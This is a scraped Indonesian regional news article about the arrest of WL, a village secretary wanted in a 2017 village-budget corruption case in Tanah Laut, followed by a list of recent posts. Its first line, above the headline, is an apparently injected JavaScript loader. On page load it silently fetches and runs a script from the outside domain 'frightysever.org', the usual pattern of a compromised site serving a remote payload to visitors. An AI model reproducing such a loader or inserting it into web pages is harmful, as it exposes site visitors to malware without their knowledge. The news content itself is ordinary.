(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Kejari HSU Tangkap WL, Buron Kejari Tala terkait Kasus Korupsi APBDes Desa Batu Ampar!


KANALKALIMANTAN.COM, AMUNTAI– Kejaksaan Negeri (Kejari) Hulu Sungai Utara (HSU) berhasil menangkap perempuan berinisial WL (27), yang diduga terlibat dalam perkara korupsi dana desa yang masih ditangani oleh Kejari Kabupaten Tanah Laut.

“Dalam Operasi tangkap buron ini, tersangka ini diduga mangkir dari beberapa kali panggilan, sehingga Kejaksaan Negeri Tanah Laut menggunakan upaya paksa untuk pencarian orang,” terang Kepala Kajari HSU melalui Kasi Intel Rudi Firmansyah, saat menggelar jumpa pers di halaman Kantor Kejari HSU, Selasa (6/7/2021) siang.

Rudi mengatakan, usai mendapat informasi dari masyarakat, pihaknya berhasil menangkap tersangka WL di sebuah rumah kontrakan di Desa Penampilan Hulu, Kecamatan Amuntai Tengah, pukul 10.00 Wita.

Baca juga: Hari Pertama Kebijakan Dokumen Vaksin, Begini Kondisi di Bandara Syamsudin Noor

 

“Tadi sekitar pukul 10.00 Wita tersangka masuk ke wilayah hukum kami, lanjut kami lakukan tracking melalui handphone, ternyata berada di Desa Palampitan di sebuah kos-kosan. Sampai di situ kita jemput tersangka sangat kooperatif, dan selanjutnya kami akan antar ke Kejaksaan Negeri Tala guna proses penegakkan tidak pidana korupsi,” terangnya.


Menurut Rudi, tersangka sendiri berada di Amuntai adalah untuk menghindari panggilan Kejaksaan Tala.
Selain itu, lanjut Rudi tersangka juga diduga berada di Amuntai hanya transit sementara dan akan berlanjut ke tempat lain lagi guna mencari tempat yang lebih aman.

“Ya niat awal, tersangka mangkir dari panggilan untuk perkara korupsi, kemudian beberapa kali dipanggil secara patut berturut-turut, namun tidak hadir,” katanya.

Sebelumnya, tersangka WL yang diketahui menjabat sebagai Sekretaris Desa ini, diduga terlibat dalam kasus korupsi APBDES tahun 2017 di Desa Batu Ampar, Kecamatan Ambawang, Kabupaten Tanah Laut. Kasus ini sebelumnya juga menyeret mantan kepala Desanya berinisial S serta VA selaku kontraktor CV Sumber Sejati dengan proyek jalan usaha tani hingga menelan kerugian mencapai setelah milliar rupiah. (kanalkalimantan.com/dew)

Reporter: dew
Editor: cell


Risa

Recent Posts

Peringatan Isra Mikraj di PTAM Intan Banjar Diisi Tausiah oleh Habib Syauqi

KANALKALIMANTAN.COM, BANJARBARU – Peringatan Isra Mikraj Nabi Besar Muhammad SAW 1447 Hijriah, di aula kantor… Read More

4 jam ago

Drainase dan Sungai Tersumbat Perparah Banjir Rob di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR meninjau titik banjir rob upaya… Read More

6 jam ago

Jalan Sehat Bank Kalsel Bersama Warga dan ASN Pemkab HSU ‎

KANALKALIMANTAN.COM, AMUNTAI - Bertajuk "Jalan Sehat ASN Bangga Pakai QRIS" Bank Kalsel menggelar jalan santai… Read More

6 jam ago

Mengawal Kasus Pembunuhan Zahra Dilla Lewat Gerakan Udara Aksi Kamisan

KANALKALIMANTAN.COM, BANJARBARU — Social Justice Institute Kalimantan (SJIK) kembali mengingatkan kasus pembunuhan Zahra Dilla yang… Read More

8 jam ago

Bappenas Dukung Bangun Jalan Basarang–Batanjung 54 Km, Target Fungsional 2027

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat dukungan pemerintah pusat dalam percepatan pembangunan… Read More

8 jam ago

Banjir Kalsel Bencana Ekologis, Wapres Gibran Sebut Ada Kesalahan Tata Ruang

KANALKALIMANTAN.COM, MARTAPURA - Wakil Presiden (Wapres) Gibran Rakabuming Raka meninjau langsung lokasi banjir di Kalimantan… Read More

12 jam ago

This website uses cookies.